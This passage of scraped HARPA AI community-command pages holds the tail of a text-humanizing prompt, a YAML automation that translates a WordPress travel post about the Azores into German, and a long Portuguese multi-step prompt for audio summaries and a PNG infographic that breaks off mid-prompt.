me explain” or “Here’s the thing” to guide the reader smoothly through the content. - Regional expressions or cultural references - Analogies that relate to everyday life - Mimic human imperfections like slightly informal phrasing or unexpected transitions - Introduce mild repetition of ideas or phrases, as humans naturally do when emphasizing a point or when writing spontaneously - Add a small amount of redundancy in sentence structure or wording, but keep it minimal to avoid affecting readability - Include subtle, natural digressions or tangents, but ensure they connect back to the main point to maintain focus. [TEXT TO HUMANIZE]: {{param}} HUMANIZED TEXT: param: gpt isolated: true Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | WP-Post-Translate-To-German [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 👤  WP-Post-Translate-To-German =============================== Updated on **Apr 3, 2025 13:36** Installed **6 times** 0 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: clear - type: extract selectorType: ai selector: - $matches: - $tag: INPUT - $role: textbox - $id: title - $attribute: type=text - $attribute: name=post_title - $attribute: size=30 - $attribute: value=The Acores – Portugal’s best-kept secret - $attribute: spellcheck=true - $attribute: autocomplete=off - $style: '-apple-system:22.1px:400:normal' - $id: titlewrap traverse: '1' - $id: titlediv traverse: '0:1' - $id: post-body-content traverse: '0:0:1' - $id: post-body traverse: '0:0:0:1' - $class: metabox-holder traverse: '0:0:0:1' - $anchor: >- Permalink: http://local.wpcatbased_travel-erlebnissede/europe/the-acores-portu…best-kept-secret/ ‎ shift: '-2:-42' - $text: >- Permalink: http://local.wpcatbased_travel-erlebnissede/europe/the-acores-portu…best-kept-secret/ ‎ traverse: '-2:0:1' - $anchor: >- Es ist eine automatisch gespeicherte Version dieses Beitrags verfügbar, welche neuer ist als die angezeigte Version. Die automatisch gespeicherte Version anzeigen shift: '-10:58' - $text: >- Es ist eine automatisch gespeicherte Version dieses Beitrags verfügbar, welche neuer ist als die angezeigte Version. Die automatisch gespeicherte Version anzeigen traverse: '-2:6:14:0:0:0:0:1' - $anchor: Dateien hinzufügen shift: '-63:-88' - $text: Dateien hinzufügen traverse: '-5:0:0:1' min: 5 - $size: 1 - $parse: text at: 0 item: type: text value: The Acores – Portugal’s best-kept secret container: __$ht: element id: 177 at: 0 param: title default: '' - type: gpt prompt: |- translate text into german: {{title}}. Just give back the translated text without explanations. Do not add a period at the end, unless the original text does have one. If you cant translate it, give back the original text. - type: paste text: '{{gpt}}' mode: replace selectorType: ai lastKey: null selector: - $matches: - $tag: INPUT - $role: textbox - $id: title - $attribute: type=text - $attribute: name=post_title - $attribute: size=30 - $attribute: value=The Acores – Portugal’s best-kept secret - $attribute: spellcheck=true - $attribute: autocomplete=off - $style: '-apple-system:22.1px:400:normal' - $id: titlewrap traverse: '1' - $id: titlediv traverse: '0:1' - $id: post-body-content traverse: '0:0:1' - $id: post-body traverse: '0:0:0:1' - $class: metabox-holder traverse: '0:0:0:1' - $anchor: >- Permalink: http://local.wpcatbased_travel-erlebnissede/europe/the-acores-portu…best-kept-secret/ ‎ shift: '-2:-42' - $text: >- Permalink: http://local.wpcatbased_travel-erlebnissede/europe/the-acores-portu…best-kept-secret/ ‎ traverse: '-2:0:1' - $anchor: >- Es ist eine automatisch gespeicherte Version dieses Beitrags verfügbar, welche neuer ist als die angezeigte Version. Die automatisch gespeicherte Version anzeigen shift: '-10:58' - $text: >- Es ist eine automatisch gespeicherte Version dieses Beitrags verfügbar, welche neuer ist als die angezeigte Version. Die automatisch gespeicherte Version anzeigen traverse: '-2:6:14:0:0:0:0:1' - $anchor: Dateien hinzufügen shift: '-63:-88' - $text: Dateien hinzufügen traverse: '-5:0:0:1' min: 5 - $size: 1 item: type: element container: __$ht: element id: 177 value: The Acores – Portugal’s best-kept secret - type: extract selectorType: ai selector: - $matches: - $tag: TEXTAREA - $role: textbox - $id: content - $class: wp-editor-area - $attribute: 'style=height: 430px; margin-top: 37px;' - $attribute: autocomplete=off - $attribute: cols=40 - $attribute: name=content - $style: Consolas:13px:400:normal - $id: wp-content-editor-container traverse: '1' - $id: wp-content-wrap traverse: '2:1' - $class: has-dfw traverse: '2:1' - $id: postdivrich traverse: '0:2:1' - $class: postarea traverse: '0:2:1' - $anchor: b shift: '-3:42' - $text: b traverse: '-2:1' - $anchor: i shift: '-30:42' - $text: i traverse: '-2:1' - $anchor: link shift: '-63:42' - $text: link traverse: '-2:1' min: 7 - $size: 1 - $parse: text at: 0 item: type: text value: >- The Acores are Portugal's best-kept secret. These nine volcanic islands, located in the middle of the Atlantic Ocean, offer everything from stunning mountain views to pristine beaches. If you're looking for a vacation that's off the beaten path, then the Acores are definitely worth exploring! In this blog post, we'll give you a breakdown of everything you need to know about planning a trip to the Açores. We'll cover how to get to the islands, what to see and do there, and our top picks for beaches and restaurants. So read on for all the information you need to plan your perfect vacation in Portugal's hidden gem! The Açores are a volcanic archipelago in the middle of the Atlantic Ocean. They're about 1200 km from Lisbon, Portugal and 1000 km from the coast of North Africa. The islands were formed by volcanism caused by tectonic plates colliding with each other under Earth's surface - which resulted in nine different islands being created over millions of years! The largest island is São Miguel (with an area of about 750 square kilometers) and it has two smaller ones nearby called Faial Island and Pico Island respectively; these small ones have only one town between them on their respective landmasses so we'll focus our attention solely on São Miguel since there's more going on there than anywhere else! Island getaways are becoming increasingly popular and the Açores are no exception. With so many islands in such close proximity to one another, it's easy to see why people flock here every year! So what makes these off-the-beaten-path destinations so appealing? For starters, they're located just far enough away from mainland Europe that you'll feel like you've truly escaped reality when visiting them (although there's plenty of WiFi available if needed). Secondly - as mentioned above - volcanic activity has left behind some amazing sights on display throughout most parts of each island which means there will never be a dull moment while exploring all nine islands during your stay here because even though they might look similar at first glance from afar; up close you'll see that each one is unique and has its own character. Finally, the locals are incredibly welcoming and always happy to help out visitors so you're sure to make some new friends while on your trip! So how do you get to the Açores? The easiest way is by flying into Ponta Delgada Airport (PDL) which is located on São Miguel Island - this airport serves as the main gateway for tourists visiting the islands. There are also a few other airports located on different islands but they usually only have domestic flights available. If you're coming from outside of Europe, then chances are you'll be flying into Lisbon first and will need to take a connecting flight to PDL; luckily there are many carriers that offer direct flights between Lisbon and Ponta Delgada (e.g., TAP Portugal, SATA Air Açores) so this shouldn't be too difficult of an issue to resolve! container: __$ht: element id: 207 at: 0 param: text default: '' - type: gpt prompt: >- translate text into german: {{text}}. Just give back the Text without explanations, if you cant translate it, give back the original text. - type: paste text: '{{gpt}}' mode: replace selectorType: ai lastKey: null selector: - $matches: - $tag: TEXTAREA - $role: textbox - $id: content - $class: wp-editor-area - $attribute: 'style=height: 430px; margin-top: 37px;' - $attribute: autocomplete=off - $attribute: cols=40 - $attribute: name=content - $style: Consolas:13px:400:normal - $id: wp-content-editor-container traverse: '1' - $id: wp-content-wrap traverse: '2:1' - $class: has-dfw traverse: '2:1' - $id: postdivrich traverse: '0:2:1' - $class: postarea traverse: '0:2:1' - $anchor: b shift: '-3:42' - $text: b traverse: '-2:1' - $anchor: i shift: '-30:42' - $text: i traverse: '-2:1' - $anchor: link shift: '-63:42' - $text: link traverse: '-2:1' min: 7 - $size: 1 item: type: element container: __$ht: element id: 207 value: >- The Acores are Portugal's best-kept secret. These nine volcanic islands, located in the middle of the Atlantic Ocean, offer everything from stunning mountain views to pristine beaches. If you're looking for a vacation that's off the beaten path, then the Acores are definitely worth exploring! In this blog post, we'll give you a breakdown of everything you need to know about planning a trip to the Açores. We'll cover how to get to the islands, what to see and do there, and our top picks for beaches and restaurants. So read on for all the information you need to plan your perfect vacation in Portugal's hidden gem! The Açores are a volcanic archipelago in the middle of the Atlantic Ocean. They're about 1200 km from Lisbon, Portugal and 1000 km from the coast of North Africa. The islands were formed by volcanism caused by tectonic plates colliding with each other under Earth's surface - which resulted in nine different islands being created over millions of years! The largest island is São Miguel (with an area of about 750 square kilometers) and it has two smaller ones nearby called Faial Island and Pico Island respectively; these small ones have only one town between them on their respective landmasses so we'll focus our attention solely on São Miguel since there's more going on there than anywhere else! Island getaways are becoming increasingly popular and the Açores are no exception. With so many islands in such close proximity to one another, it's easy to see why people flock here every year! So what makes these off-the-beaten-path destinations so appealing? For starters, they're located just far enough away from mainland Europe that you'll feel like you've truly escaped reality when visiting them (although there's plenty of WiFi available if needed). Secondly - as mentioned above - volcanic activity has left behind some amazing sights on display throughout most parts of each island which means there will never be a dull moment while exploring all nine islands during your stay here because even though they might look similar at first glance from afar; up close you'll see that each one is unique and has its own character. Finally, the locals are incredibly welcoming and always happy to help out visitors so you're sure to make some new friends while on your trip! So how do you get to the Açores? The easiest way is by flying into Ponta Delgada Airport (PDL) which is located on São Miguel Island - this airport serves as the main gateway for tourists visiting the islands. There are also a few other airports located on different islands but they usually only have domestic flights available. If you're coming from outside of Europe, then chances are you'll be flying into Lisbon first and will need to take a connecting flight to PDL; luckily there are many carriers that offer direct flights between Lisbon and Ponta Delgada (e.g., TAP Portugal, SATA Air Açores) so this shouldn't be too difficult of an issue to resolve! - type: paste text: ' ' mode: replace selectorType: ai lastKey: null selector: - $matches: - $tag: INPUT - $role: textbox - $id: post_name - $class: large-text - $attribute: name=post_name - $attribute: type=text - $attribute: value=paraguay-forests-river-and-safaris-in-south-america - $style: '-apple-system:14px:400:normal' - $id: slugdiv traverse: '1:1' - $id: normal-sortables traverse: '0:1:1' - $id: postbox-container-2 traverse: '0:0:1:1' - $id: post-body traverse: '2:0:0:1:1' - $class: metabox-holder traverse: '2:0:0:1:1' - $anchor: Titelform shift: '9:34' - $text: Titelform traverse: '-2:1:1' - $anchor: Additional Content shift: 9:-72 - $text: Additional Content traverse: '-3:0:1:1' - $anchor: Gallery shift: 9:-130 - $text: Gallery traverse: '-3:0:1:1' min: 5 - $size: 1 item: type: element container: __$ht: element id: 3 value: paraguay-forests-river-and-safaris-in-south-america - type: click selectorType: ai selector: - $matches: - $tag: INPUT - $role: button - $id: publish - $class: button - $class: button-primary - $class: button-large - $attribute: type=submit - $attribute: name=save - $attribute: value=Aktualisieren - $style: '-apple-system:13px:400:normal' - $id: publishing-action traverse: '2' - $id: major-publishing-actions traverse: '1:2' - $id: submitpost traverse: '1:1:2' - $id: submitdiv traverse: '1:0:1:1:2' - $id: side-sortables traverse: '0:1:0:1:1:2' - $anchor: In den Papierkorb verschieben shift: '203:24' - $text: In den Papierkorb verschieben traverse: '-2:1:2' - $anchor: Kategorien shift: 201:-72 - $text: Kategorien traverse: '-3:0:1:0:1:1:2' - $anchor: Alle Kategorien Häufig genutzt shift: 201:-112 - $text: Alle Kategorien Häufig genutzt traverse: '-4:0:1:0:1:1:2' min: 7 - $size: 1 item: type: element container: __$ht: element id: 0 value: Aktualisieren Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | 03 PM — Professor Médio v25.5.0 — Infográfico Direto + PNG [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 👤  03 PM — Professor Médio v25.5.0 — Infográfico Direto + PNG ============================================================== Modelo professor médio identificado como 03 PM, com saída final em infográfico direto PNG, usando o resumo em áudio como base principal e preservando todos os pilares estruturais. | Revisão visual 2: menos texto por card, sem marcas da fonte no infográfico. | Revisão visual 3: modelo no início e no fim do áudio; cards mais inteligentes e visuais. ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ Created by **Compilando o Conhecimento** Updated on **Jun 5, 18:49** Installed **1 time** 0 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: clear - type: wait for: custom-delay delay: 200 - type: say message: ETAPA 1/4 — Lendo o conteúdo e montando o mapa canônico turbo. - type: gpt prompt: >- Você está executando a ETAPA 1 do Professor Pro Web + Áudio v25.4.7 — MAPA CANÔNICO TURBO. FUNÇÃO Ler somente o trecho atual e gerar um mapa canônico rápido, fiel e suficiente. REGRA CENTRAL Use apenas o conteúdo do trecho. Não invente. Não use web. Ignore menu, anúncio, botão, rodapé, URL rastreada, metadado solto e ruído de interface. OBJETIVO Preservar a espinha dorsal: tese, itens principais, empresas/ativos/pessoas, dados, mecanismos, riscos e pontos que não podem desaparecer. SE O TRECHO FOR FRACO Responda apenas: TRECHO INSUFICIENTE PARA CONTRIBUIR COM O RESUMO FINAL. Motivo: [uma frase]. SAÍDA MAPA CANÔNICO TURBO DO TRECHO Fonte/tipo: Suficiência: Estrutura, se houver: Tese do trecho: Itens principais: Empresas/ativos/pessoas/conceitos: Dados e números relevantes: Mecanismos: Riscos e limites: Pilares que não podem sumir: O que preservar no resumo: LIMITE Trecho simples: até 15 linhas. Trecho denso: até 28 linhas. Agrupe sem apagar nomes centrais. MATERIAL {{chunk}} chunkify: text: |- Título: {{title}} Texto selecionado: {{selection}} Transcrição do YouTube: {{transcriptPlain}} Corpo de e-mail estruturado: {{email}} Thread: {{thread limit=80}} Conteúdo textual da página: {{page}} empty: '' maxTokens: 16000 param: maps silent: true - type: say message: ETAPA 2/4 — Consolidando o contrato editorial único. - type: gpt prompt: >- Você está executando a ETAPA 2 do Professor Pro Web + Áudio v25.4.7 — CONTRATO EDITORIAL ÚNICO COM RÉGUA DE COMPRESSÃO. FUNÇÃO Consolidar todos os mapas canônicos em uma base editorial única para gerar o resumo final de áudio e orientar o infográfico. REGRA CENTRAL Não invente. Não use web. Não volte ao conteúdo bruto. Preserve a cobertura estrutural completa, mas corte repetição, burocracia, ruído e bastidor. REGRA DE COMPRESSÃO PEDAGÓGICA Os quatro modelos partem da mesma base estrutural, mas não preservam o mesmo nível de detalhe. O ultracurto condensa; o curto comprime; o médio desenvolve; o longo aprofunda. No ultracurto, é permitido reduzir explicações, exemplos e nuances, mas não é permitido apagar pilares estruturais. No curto, é permitido perder detalhes, exemplos secundários e nuances. Não é permitido perder a lógica principal, os pilares da tese, os riscos centrais e os nomes indispensáveis. RÉGUA DE EXPECTATIVA PARA VÍDEO DE 1 HORA Ultracurto: 3 a 5 minutos de áudio, cerca de 500 a 800 palavras. Revisão rápida, preservando todos os pilares estruturais em formato compacto. Curto: 4 a 7 minutos de áudio, cerca de 600 a 1.000 palavras. Alta densidade. Entrega a tese inteira sem tentar entregar o vídeo inteiro. Médio: 10 a 16 minutos de áudio, cerca de 1.500 a 2.400 palavras. Explica tese, mecanismos, exemplos e implicações. Longo: 22 a 35 minutos de áudio, cerca de 3.300 a 5.200 palavras. Aula aprofundada, com contexto, nuances, riscos, catalisadores e leitura estratégica. FORMATO CONTRATO EDITORIAL ÚNICO Tese central: Mecanismo principal: Pilares indispensáveis: Nomes indispensáveis para o áudio curto: Nomes secundários que podem ser agrupados ou ir melhor no infográfico: Dados indispensáveis: Riscos centrais: Catalisadores e pontos de monitoramento: O que o ultracurto deve preservar: O que o ultracurto pode comprimir ou omitir: O que o curto deve preservar: O que o curto pode comprimir ou omitir: O que o médio deve desenvolver: O que o longo deve aprofundar: Regras para não inventar: LIMITE Até 65 linhas. MAPAS CANÔNICOS {{maps}} param: coverage_contract silent: true - type: say message: ETAPA 3/4 — Gerando o resumo final para áudio. - type: gpt prompt: >- Você está executando o GPT3 do Professor Pro Web + Áudio v25.4.7 — RESUMO FINAL PARA ÁUDIO — MODELO MÉDIO. FUNÇÃO Transformar o contrato editorial único em texto final limpo, narrativo, fiel e fácil de ouvir. TRAVA ANTI-BASTIDOR A saída NÃO pode parecer contrato. Não use: contrato editorial, contrato global, contrato parcial, mapa canônico, GPT3, prompt, regras para não inventar, o que não pode cortar, cobertura obrigatória, checklist interno. FIDELIDADE Não invente. Não use web. Não acrescente fatos novos. Não transforme hipótese em certeza. Preserve a tese estrutural do material, mas aplique a profundidade correta do modelo MÉDIO. REGRA DO MÉDIO — COMPRESSÃO INTERMEDIÁRIA O médio preserva a mesma tese estrutural do curto, mas desenvolve melhor os mecanismos, exemplos e implicações. PROMESSA EDITORIAL Entregar a tese inteira com explicação suficiente para estudo principal diário. O usuário deve sair dizendo: “entendi a tese, os mecanismos, os exemplos principais e as implicações”. PRESERVE - tese central; - pilares relevantes; - empresas/ativos importantes; - mecanismos de causa e efeito; - exemplos úteis; - riscos principais; - catalisadores e condições de confirmação. PODE COMPRIMIR OU OMITIR - repetições; - exemplos fracos; - detalhes narrativos que não mudam a tese; - comentários laterais; - minúcias que funcionam melhor no longo. TAMANHO-ALVO PARA MATERIAL DE 1 HORA - ideal: 1.500 a 2.200 palavras; - teto normal: 2.400 palavras; - se o conteúdo for pouco denso: 1.100 a 1.500 palavras; - se passar de 2.400 palavras, corte exemplos secundários e detalhes narrativos. ESTILO Português do Brasil. Texto fluido para áudio. Soar como professor particular explicando no carro. Use causa, efeito e implicação. Evite relatório, listas excessivas e burocracia. ESTRUTURA REGRA DE IDENTIFICAÇÃO DO MODELO NO ÁUDIO No início e no final do resumo para áudio, na faixa de abertura e de encerramento, o modelo (MODELO MEDIO) deve aparecer de forma visível. Essa informação não deve ser usada como conteúdo do infográfico. ━━━ INÍCIO DO RESUMO PARA ÁUDIO — MODELO MEDIO ━━━ EM POUCAS PALAVRAS RESUMO EXPLICADO PILARES QUE NÃO PODEM SER ESQUECIDOS O QUE REALMENTE IMPORTA RETER ━━━ FIM DO RESUMO PARA ÁUDIO — MODELO MEDIO ━━━ CONTRATO EDITORIAL ÚNICO {{coverage_contract}} param: audio_summary silent: false - type: say message: >- ETAPA 4/4 — Gerando o infográfico final direto em PNG com base no resumo em áudio. - type: connection connection: ChatGPT switchDuration: command silent: true - type: gpt prompt: > GPT-4 INFOGRÁFICO — MODELO MÉDIO — REVISÃO 6.1 CONSOLIDADA Você está executando a ETAPA 4 do Professor Pro Web + Áudio v25.5.0 — INFOGRÁFICO FINAL DIRETO. FUNÇÃO Transformar o RESUMO FINAL PARA ÁUDIO em uma imagem final de estudo visual. A base principal e mandatória do infográfico é o RESUMO FINAL PARA ÁUDIO. A BASE EDITORIAL existe apenas como apoio interno para evitar omissões graves de tese, nomes, riscos, números, empresas, pessoas, ativos, tickers ou pontos de monitoramento. SAÍDA OBRIGATÓRIA Gerar o resultado final como IMAGEM, preferencialmente PNG. Se PNG não estiver disponível, gerar a melhor alternativa possível de imagem com qualidade muito alta. Entregar somente a imagem final. É proibido responder com briefing visual, HTML, checklist, roteiro, explicação do processo, texto fora da imagem ou descrição do que faria. IDENTIFICAÇÃO INTERNA GPT-4 Infográfico — Modelo Médio — Revisão 6.1 Consolidada. Essa identificação é apenas interna ao prompt. Não exibir “GPT-4”, “Médio”, “Revisão 6.1”, “modelo”, “tipo de resumo”, “prompt”, “contrato editorial”, “base editorial” ou qualquer bastidor dentro da imagem. MISSÃO CENTRAL Criar um infográfico altamente visual, editorial, premium, realista, criativo, memorável e fácil de acompanhar enquanto o usuário escuta o áudio. O infográfico não deve parecer dashboard, slide corporativo, mapa mental simples, grade de cards, coleção de caixas, resumo escrito dentro de blocos ou template genérico de IA. O infográfico deve parecer uma peça editorial de alto padrão, com direção de arte forte, arte-mãe central potente, conteúdo derivado dessa arte-mãe, excelente legibilidade, margem perfeita, paleta controlada, imagens realistas e alta resolução. REGRA CENTRAL — ARTE-MÃE CENTRAL O infográfico deve nascer de uma ARTE-MÃE CENTRAL. A ARTE-MÃE CENTRAL é o grande criativo visual do infográfico. Ela deve ficar visualmente centralizada na composição ou funcionar como o eixo central evidente da peça. A arte-mãe deve representar a tese principal, o tema que conecta todo o conteúdo, a metáfora dominante e o mecanismo central do resumo. 100% dos assuntos relevantes do infográfico devem derivar visualmente da arte-mãe central. Derivar significa nascer dela, conectar-se a ela, ser explicado por ela, orbitar sua lógica, seguir sua narrativa e manter coerência visual com ela. É proibido criar uma arte-mãe bonita e depois resolver o restante com caixas, cards ou blocos independentes. Quando a pessoa bater o olho no infográfico, deve entender imediatamente o assunto central. PROCESSO INTERNO OBRIGATÓRIO ANTES DE GERAR Antes de gerar a imagem, faça internamente: 1. Leia o RESUMO FINAL PARA ÁUDIO. 2. Identifique a tese central que conecta todo o conteúdo. 3. Identifique a imagem, metáfora, objeto, cena ou estrutura que melhor representa essa tese. 4. Crie uma arte-mãe central de altíssimo nível. 5. Identifique os desdobramentos essenciais do modelo. 6. Faça todos os desdobramentos saírem da arte-mãe central. 7. Garanta que nenhum desdobramento vire card, caixa ou bloco genérico. 8. Identifique empresas, tickers, logotipos, pessoas centrais e elementos reais úteis. 9. Garanta paleta, margem, rodapé, fonte mínima, resolução e fidelidade visual. 10. Revise criticamente antes de entregar. Esse processo é interno. Não mostrar. CAMADA FIXA — REGRAS INEGOCIÁVEIS As regras abaixo não são sugestões. Se qualquer uma falhar, a imagem está errada e deve ser refeita internamente. 1. Paleta oficial sem preto dominante e sem neon. 2. Margem obrigatória em todo o perímetro. 3. @Fredericoza centralizado dentro da margem inferior. 4. Fonte mínima equivalente a 12 pt. 5. Alta resolução, aparência 4K ou superior. 6. Canvas livre e proporcional ao conteúdo. 7. Arte-mãe central. 8. 100% dos assuntos derivando da arte-mãe. 9. Fidelidade visual de pessoas, empresas e ativos. 10. Empresas com ticker e símbolo/logotipo quando disponíveis. 11. Autores/fonte não devem aparecer como personagem se não fazem parte da tese. 12. Anti-card absoluto. PALETA OFICIAL — FUNDO GRAFITE CLARO, SEM PRETO E SEM NEON O infográfico deve usar tema escuro elegante, mas nunca preto puro ou quase preto. A base deve ser grafite médio/editorial, com aparência cerca de 30% mais clara do que os fundos escuros antigos. FUNDO PRINCIPAL PREFERENCIAL Usar como base dominante um destes tons: - #3A4047 - #40464D - #46505A - #4A5560 - #4C5055 TONS ESCUROS PERMITIDOS APENAS COMO APOIO Usar apenas para sombra, profundidade, contraste localizado ou detalhes: - #24282E - #2B3036 - #203A43 - #2F3A44 É proibido usar como base dominante preto puro, quase preto, fundo excessivamente noturno, fundo pesado, visual gamer ou atmosfera sci-fi neon. CORES DE DESTAQUE PERMITIDAS Usar cores vivas, sólidas, maduras e editoriais: - azul profissional: #2F80ED - azul técnico profundo: #2563A8 - verde esmeralda: #2EAD6B - verde confirmação: #3A9D5D - âmbar / dourado queimado: #D89B2B - laranja moderado: #C9792B - coral risco: #D95D4E - vermelho risco profundo: #B23A3A - violeta sofisticado: #7B61B9 - roxo estratégico: #5E4B8B - ciano moderado: #2AA6B8 CORES PROIBIDAS COMO DOMINANTES - #000000 - #FFFFFF como superfície dominante - #00FFFF - #39FF14 - #FF00FF - azul neon - roxo neon - verde fluorescente - ciano brilhante REGRA ANTI-NEON ABSOLUTA Cor viva é permitida. Neon é proibido. Não usar glow exagerado, halo forte, borda luminosa, contorno elétrico, luz azul/ciano dominante, estética LED, estética gamer, visual futurista genérico ou cor fluorescente. Eliminar ao máximo qualquer aparência neon. A peça deve parecer editorial premium, não interface neon. MARGEM ESTRUTURAL OBRIGATÓRIA — MÁSCARA FIXA Todo infográfico deve respeitar uma margem de segurança clara em todo o perímetro. A margem deve existir nos 4 lados: superior, inferior, esquerdo e direito. A margem funciona como uma máscara fixa aplicada sobre o infográfico. Nenhum elemento pode encostar na borda da imagem. Isso inclui título, subtítulo, números, texto, retratos, logotipos, tickers, ícones, gráficos, imagens, linhas, clusters, ornamentos e assinatura. A margem deve funcionar como moldura silenciosa da peça. Se algo encostar, parecer apertado ou invadir a área de segurança, o layout está errado. RODAPÉ OFICIAL PADRÃO — MÁSCARA FIXA Todo infográfico deve usar exatamente o mesmo rodapé. O rodapé deve conter apenas: @Fredericoza Regras obrigatórias: - centralizar horizontalmente no rodapé; - colocar dentro da margem inferior; - manter respiro acima e abaixo; - usar apenas o texto “@Fredericoza”; - não usar URL; - não usar x.com/Fredericoza; - não usar ícone; - não usar estrela; - não usar pena; - não usar brasão; - não usar plaqueta chamativa; - não usar moldura ornamental; - não usar divisória decorativa; - não usar qualquer elemento extra. O rodapé deve ser simples, funcional, limpo, editorial, discreto, constante e profissional. O @Fredericoza não pode ficar jogado no layout, colado na borda, competir com o conteúdo principal, mudar de estilo entre infográficos ou aparecer com enfeites. TAMANHO MÍNIMO DE LETRA — REGRA INEGOCIÁVEL Nenhum texto do infográfico pode ficar pequeno, espremido ou difícil de ler. Usar como referência mínima visual: - fonte equivalente a 12 pt ou maior para qualquer texto informativo; - títulos e subtítulos substancialmente maiores; - números importantes grandes e destacados; - rótulos menores somente se forem plenamente legíveis. É proibido microtexto, legenda minúscula, lista com fonte pequena, texto comprimido, texto que exija zoom excessivo ou texto sacrificado para caber em área pequena. Se o conteúdo não couber mantendo fonte mínima equivalente a 12 pt, aumentar o canvas. Nunca reduzir a fonte para caber. Sempre aumentar o tamanho da imagem. RESOLUÇÃO E QUALIDADE — REGRA INEGOCIÁVEL O infográfico deve ser gerado em alta resolução, com aparência de 4K ou superior. Priorizar imagem grande, arquivo de maior qualidade, alta nitidez, texto limpo, bordas sem serrilhado, ausência de pixelização, ausência de craquelado e boa leitura ao dar zoom. É aceitável que o arquivo final seja maior se isso melhorar legibilidade e qualidade. É proibido compactar a peça visualmente para reduzir tamanho de arquivo. Se houver dúvida entre imagem menor/mais leve e imagem maior/mais legível, escolher sempre imagem maior e mais legível. CANVAS LIVRE E PROPORCIONAL AO CONTEÚDO O infográfico não deve ser limitado a folha A4, slide, proporção fixa ou tamanho padrão. O tamanho da folha é proporcional ao conteúdo. O canvas pode crescer verticalmente, horizontalmente, em ambas as direções, em formato pôster, mural, mapa, spread editorial, panorâmico ou qualquer proporção necessária. Se o conteúdo pedir uma folha duas vezes maior, usar uma folha duas vezes maior. Se precisar expandir para os lados, expandir. Se precisar expandir para baixo, expandir. É proibido comprimir conteúdo para caber, reduzir letra para caber, empilhar caixas para caber, sacrificar criatividade por tamanho ou manter sempre a mesma proporção. Depois da criação, aplicar margem estrutural em todo o perímetro. DESMEMBRAMENTO ORGÂNICO A PARTIR DA ARTE-MÃE Todo assunto relevante deve sair da arte-mãe central. Os desdobramentos devem parecer ramificações, órbitas, fluxos, extensões, consequências, satélites visuais orgânicos, camadas derivadas, trilhas, linhas narrativas ou territórios conectados. Eles não devem parecer cards, caixas, quadrados, módulos independentes, blocos soltos, dashboard, tabela visual ou vitrine de empresas. PROIBIÇÃO DE SATÉLITES EM BOX Não criar uma cena central forte e depois cercá-la com caixinhas. Se a arte-mãe for forte, os elementos derivados também precisam ser visualmente fortes, orgânicos e integrados. É proibido transformar derivações em card, box, quadro, tabela, bloco retangular, lista isolada, seção quadrada ou imagem em cima + texto embaixo. ANTI-CARD ABSOLUTO O infográfico não pode ser resolvido por cards. É proibido usar como solução principal quatro cards lado a lado, grade de empresas, blocos repetidos, vitrines retangulares, cards com imagem em cima e texto embaixo, boxes de riscos, boxes de monitoramento, catálogo de empresas, painel corporativo ou dashboard. Se parecer “tudo guardado em quadradinhos”, está errado. TRADUÇÃO VISUAL DO CONTEÚDO Antes de escrever, tentar desenhar. Antes de listar, tentar mostrar. Converter: - tese central → arte-mãe central; - mecanismo → fluxo saindo da arte-mãe; - empresa → ticker + logotipo/símbolo real + função na tese; - pessoa → somente se fizer parte da tese; retrato fiel ou representação neutra; - autor/fonte → não representar visualmente como personagem se não fizer parte da tese; - risco → rachadura, sombra, tensão, obstáculo, falha, alerta ou zona crítica; - monitoramento → radar, sensores, checkpoint, trilha, painel de missão ou marco visual; - número → número grande, medidor, instrumento, telemetria ou comparação visual; - síntese → fechamento visual conectado à arte-mãe. TEXTO COMO APOIO, NÃO COMO PROTAGONISTA O infográfico deve passar muita informação com menos texto. O texto deve funcionar como título, rótulo, número, ticker, legenda curta, frase-mestra ou microfrase essencial. Evitar parágrafos, listas longas, bullets extensos, textos pequenos, tabelas e miniartigos dentro da imagem. Se uma ideia precisar de muitas palavras, ela ainda não foi bem transformada em imagem. REALISMO COMO PADRÃO Sempre que o conteúdo permitir 